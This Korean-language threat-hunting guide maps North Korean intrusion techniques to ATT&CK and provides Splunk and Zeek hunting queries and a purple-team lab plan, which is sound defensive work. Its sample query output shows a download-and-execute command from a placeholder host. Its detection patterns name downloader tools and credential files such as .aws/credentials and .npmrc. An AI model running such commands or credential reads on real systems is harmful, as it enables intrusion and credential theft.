북한 — TTP와 헌팅¶
요약
북한의 공격 방식을 단계별로 정리합니다: 어떻게 들어오는지(가짜 채용 담당자, 코딩 테스트, 오염된 패키지, 공급망, 문서 미끼), 무엇이 실행되는지, 자격 증명과 클라우드 세션 토큰을 어떻게 훔치는지, 어떻게 피벗하고 최종적으로 무엇을 하는지. 모든 단계를 ATT&CK와 이 사이트의 기법 페이지에 매핑했고, 이어서 Splunk와 Zeek에서 실행할 수 있는 헌팅 쿼리를 제공합니다. 그룹에 대한 배경은 그룹과 사건에 있습니다.
단계별 공격 방식¶
1. 초기 접근 — 사람을 노립니다¶
| 행위 | ATT&CK | 누가 (보고 기준) | 어디를 볼까 |
|---|---|---|---|
| LinkedIn/Telegram/WhatsApp의 가짜 채용 담당자가 "직무 설명" PDF나 링크를 보냄 | T1566.003 (Spearphishing via Service), T1566.002 | Lazarus (Dream Job), TraderTraitor | 브라우저 다운로드, Zone.Identifier, 이메일/프록시 로그 |
"과제형 코딩 테스트" — 피해자가 npm install / python main.py로 실행하는 GitHub/Bitbucket 저장소나 ZIP |
T1204.002 (Malicious File), T1195.001 | TraderTraitor, Contagious Interview | node, python, docker 아래의 프로세스 트리 |
| 악성 또는 이름을 비슷하게 위장한(typosquatting) npm / PyPI 패키지 | T1195.001 (Compromise Software Dependencies) | TraderTraitor, Contagious Interview | 패키지 매니페스트, postinstall 스크립트, 개발자 호스트의 EDR |
| 트로이 목마가 심긴 거래/암호화폐 앱, 때로는 서명까지 됨 | T1195.002, T1553.002 (Code Signing) | AppleJeus 클러스터 | Amcache에 새로 나타난 서명 없는/게시자가 이상한 바이너리, macOS 격리(quarantine) 이벤트 |
| 고객에게 닿기 위해 소프트웨어 업체를 침해 | T1195.002 (Compromise Software Supply Chain), T1199 | AppleJeus 클러스터 (3CX), TraderTraitor (JumpCloud) | 신뢰받는 업체 바이너리가 새로운 네트워크 연결을 맺음 |
| 문서 미끼: ZIP 안의 LNK, CHM, HWP, Office | T1566.001, T1204.002 | Kimsuky, APT37 | 피싱 전달 참고 |
| 원격으로 채용된 가짜 구직자(IT 인력) | T1078 (Valid Accounts), 내부자 | Famous Chollima | 인사(HR) 절차, VPN 지리 정보, 회사 노트북의 원격 관리 도구 |
2. 실행과 지속성¶
| 행위 | ATT&CK | 사이트 페이지 |
|---|---|---|
node/python이 셸, curl, 또는 다운로더를 실행 |
T1059.007 (JavaScript), T1059.006 (Python) | — (아래 헌팅 1) |
| PowerShell 다운로드 크래들, 인코딩된 명령 (Windows 미끼) | T1059.001 | PowerShell 크래들 |
LNK/CHM 미끼에서 실행되는 mshta, rundll32, regsvr32 (Kimsuky) |
T1218.005 / .011 / .010 | LOLBins |
| 예약 작업, 서비스, Run 키 | T1053.005, T1543.003, T1547.001 | 지속성 |
| macOS LaunchAgents / LaunchDaemons | T1543.001, T1543.004 | — (macOS: ~/Library/LaunchAgents, /Library/LaunchDaemons) |
| 메일을 훔치는 악성 브라우저 확장 프로그램 (Kimsuky) | T1176 (Browser Extensions) | 브라우저 프로필의 확장 프로그램 폴더 |
| 신뢰받는 프로세스로의 DLL 사이드로딩 / 인젝션 | T1574.002, T1055 | 프로세스 인젝션 |
3. 자격 증명 접근 — 그리고 클라우드 피벗¶
바로 이 부분에서 북한 작전은 일반 범죄와 다릅니다: Windows 해시만이 아니라 개발자 비밀 정보와 클라우드 세션을 노립니다.
| 행위 | ATT&CK | 사이트 페이지 / 메모 |
|---|---|---|
| 브라우저 비밀번호, 쿠키, 암호화폐 지갑 확장 프로그램 데이터 | T1555.003, T1539 (Steal Web Session Cookie) | 인포스틸러 행위 — 브라우저 프로필 폴더에 대한 파일 접근 |
SSH 키, .aws/credentials, .env, .npmrc, 키체인 |
T1552.001, T1552.004, T1555.001 | 평소와 다른 프로세스가 이 경로들을 읽는지 감시하세요 |
| 탈취한 클라우드 세션 토큰을 공격자 인프라에서 재사용 | T1550.001 (Application Access Token), T1078.004 (Cloud Accounts) | 아래 헌팅 3 (CloudTrail) |
| 탈취한 세션으로 새 MFA 기기 등록 | T1098.005 (Device Registration) | 아래 헌팅 3 |
| Windows 네트워크 안에서 LSASS, SAM/NTDS, Kerberos 악용 | T1003, T1558 | LSASS · SAM과 NTDS · Kerberoasting |
4. 횡적 이동, C2, 최종 목표¶
| 행위 | ATT&CK | 사이트 페이지 |
|---|---|---|
| 탈취한 자격 증명으로 RDP, SMB/PsExec, WMI 사용 | T1021.001, T1021.002, T1047 | RDP · PsExec · WMI |
| 침해된 정상 웹사이트로의 HTTPS C2; 자체 프로토콜 | T1071.001, T1573 | 비콘과 C2 |
| 클라우드 스토리지 API(Dropbox, pCloud, Google Drive, OneDrive)를 통한 C2 — APT37, Kimsuky | T1102.002 (Bidirectional Web Service) | 아래 헌팅 4 |
| 다중 홉 프록시, VPN, 가정용 IP | T1090.003 (Multi-hop Proxy) | 로그인 지리 정보 / ASN 이상 징후 |
| 거래 프런트엔드나 서명 흐름 변조 (Bybit) | T1565 (Data Manipulation) | 웹 자산 / S3 버킷에 대한 파일 무결성 모니터링 |
| 금전 탈취 | T1657 (Financial Theft) | 업무 프로세스 모니터링 |
| 와이퍼 / 랜섬웨어 (Sony, Maui) | T1485, T1486 | 랜섬웨어 플레이북 |
헌팅¶
모든 쿼리는 이 사이트의 다른 곳에서 쓰는 BOTSv3 방식의 인덱스와 소스타입을 사용합니다 — index=는 내 환경에 맞게 바꾸세요.
index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventID=1
(ParentImage="*\\node.exe" OR ParentImage="*\\python.exe" OR ParentImage="*\\pythonw.exe")
(Image="*\\cmd.exe" OR Image="*\\powershell.exe" OR Image="*\\curl.exe" OR Image="*\\certutil.exe" OR Image="*\\mshta.exe")
| stats count min(_time) as first max(_time) as last values(CommandLine) as cmd by host, User, ParentImage, Image
| convert ctime(first) ctime(last)
한 줄씩 설명
EventID=1— Sysmon 이벤트 1 = 프로세스 생성. 새로 생긴 모든 프로세스가 부모 프로세스, 전체 명령줄과 함께 기록됩니다.ParentImage="*\\node.exe" …— 부모가 Node.js나 Python인 프로세스만 남깁니다("코딩 테스트"나 악성 npm/PyPI 패키지가 실행되는 런타임입니다).\\는 SPL에서 백슬래시 하나를 쓰는 방법입니다.Image=…— 자식이 셸이나 다운로드 도구인 경우입니다. 개발자도 Node에서 셸을 실행하므로 어느 정도 노이즈(빌드 스크립트)는 예상하세요. 눈여겨볼 것은 무언가를 다운로드하거나 인코딩된 명령을 실행하는 경우입니다.stats … by host, User, ParentImage, Image— 조합마다 한 행으로 묶습니다.values(CommandLine)은 서로 다른 명령들을 나열합니다.convert ctime(...)— epoch 숫자를 읽기 쉬운 날짜로 바꿉니다.
결과 예시
| 호스트 | 사용자 | 부모 이미지 | 이미지 | 명령 |
|---|---|---|---|---|
| DEV-LAPTOP07 | CORP\jkim | C:\Program Files\nodejs\node.exe | C:\Windows\System32\cmd.exe | cmd /c curl -s hxxp://<ip>/p -o %TEMP%\p.py && python %TEMP%\p.py |
macOS/Linux EDR에서도 같은 원리입니다: 부모는 node / python3, 자식은 sh/bash/curl/osascript.
index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventID=3
| stats dc(DestinationIp) as dests values(DestinationHostname) as names min(_time) as first by Image
| where first > relative_time(now(), "-7d@d")
| sort - dests
EventID=3— Sysmon 네트워크 연결 이벤트입니다.stats … min(_time) as first by Image— 프로그램마다 검색 기간 안에서 처음으로 연결을 맺은 시각을 구합니다.where first > relative_time(now(), "-7d@d")— 최근 7일 안에 처음 통신을 시작한 프로그램만 남깁니다("first"가 의미를 가지려면 검색 기간을 30일 이상으로 잡으세요).relative_time(now(), "-7d@d")= 7일 전 자정입니다.- 이 쿼리는 3CX 패턴을 잡아냅니다: 오래전에 설치된 서명된 앱이 업데이트 후 갑자기 새 도메인에 접속하는 경우입니다.
index=botsv3 sourcetype=aws:cloudtrail
eventName IN ("CreateVirtualMFADevice","EnableMFADevice","CreateAccessKey","AssumeRole","GetSessionToken","PutBucketPolicy","PutObject")
| stats values(eventName) as actions dc(sourceIPAddress) as ips values(sourceIPAddress) as src values(userAgent) as ua by userIdentity.arn
| where ips > 1 OR isnotnull(mvfind(actions,"MFADevice"))
sourcetype=aws:cloudtrail— AWS API 감사 로그입니다. 콘솔/API 호출 하나가 이벤트 하나입니다.eventName IN (...)— 침입자가 세션을 훔친 뒤 사용하는 호출들입니다: MFA 기기 추가, 키 생성, 역할 맡기(assume role), 버킷 정책 변경, 객체 업로드(Bybit: S3에 있던 프런트엔드 JavaScript가 교체되었습니다).stats … by userIdentity.arn— 신원(identity)마다 어떤 작업을 했는지, 출발지 IP가 몇 개인지, 어떤 user agent를 썼는지 정리합니다.where ips > 1 OR …— 같은 신원이 두 개 이상의 IP에서 사용되었거나(개발자 노트북 + 공격자 VPN) MFA 기기 변경이 있었던 경우입니다.mvfind(actions,"MFADevice")는 정규식과 일치하는 첫 번째 값의 위치를 돌려주고, 없으면 null을 돌려줍니다.
# SNI / host names of cloud-storage APIs contacted by hosts that are not normal sync clients
zeek-cut ts id.orig_h server_name < ssl.log \
| grep -Ei 'api\.dropboxapi\.com|content\.dropboxapi\.com|api\.pcloud\.com|graph\.microsoft\.com|www\.googleapis\.com' \
| awk '{print $2, $3}' | sort | uniq -c | sort -rn | head -20
zeek-cut은 Zeek 로그에서 지정한 열을 뽑아냅니다.server_name은 TLS SNI(클라이언트가 요청한 호스트 이름)입니다.grep은 프로그램으로 업로드/다운로드할 때 쓰는 API 엔드포인트만 남깁니다 — APT37과 Kimsuky 악성코드는 트래픽이 정상처럼 섞이도록 이것들을 C2로 사용합니다.- 출발지 호스트별로 개수를 셉니다: pCloud 클라이언트가 설치되어 있지 않은데
api.pcloud.com연결이 수천 건인 워크스테이션이라면 살펴볼 가치가 있습니다.
이 페이지로 만든 퍼플팀 시나리오¶
주간 퍼플팀 루프와 함께 사용하세요:
- A주차 — 전달: 랩 VM에서
postinstall스크립트가cmd /c whoami > %TEMP%\out.txt를 실행하는 무해한 "코딩 테스트" 저장소를 실행합니다. 헌팅 1, Prefetch/Amcache, 그리고 Velociraptor(Windows.System.Pslist,Windows.Forensics.Prefetch)에서 찾아보세요. - B주차 — 자격 증명 접근: 스크립트로 가짜
.aws\credentials파일을 읽습니다. 어떤 로그 소스(Sysmon 11? EDR 파일 읽기 텔레메트리?)가 이를 보는지 확인하세요. 아무것도 없다면 그 공백을 기록하세요. - C주차 — 클라우드 피벗: 프리 티어 랩 AWS 계정에서 같은 액세스 키를 두 개의 IP에서 사용하고 가상 MFA 기기를 추가합니다. CloudTrail에서 헌팅 3이 걸리는지 확인하세요.
- D주차 — C2: 스크립트로 클라우드 스토리지 API에 HTTPS 트래픽을 발생시킵니다. 헌팅 4와 Arkime/Zeek에서 보이는지 확인하세요.
- 매주 한 페이지씩 작성하세요: 행위 → 아티팩트 → 쿼리 → ATT&CK ID → 공백.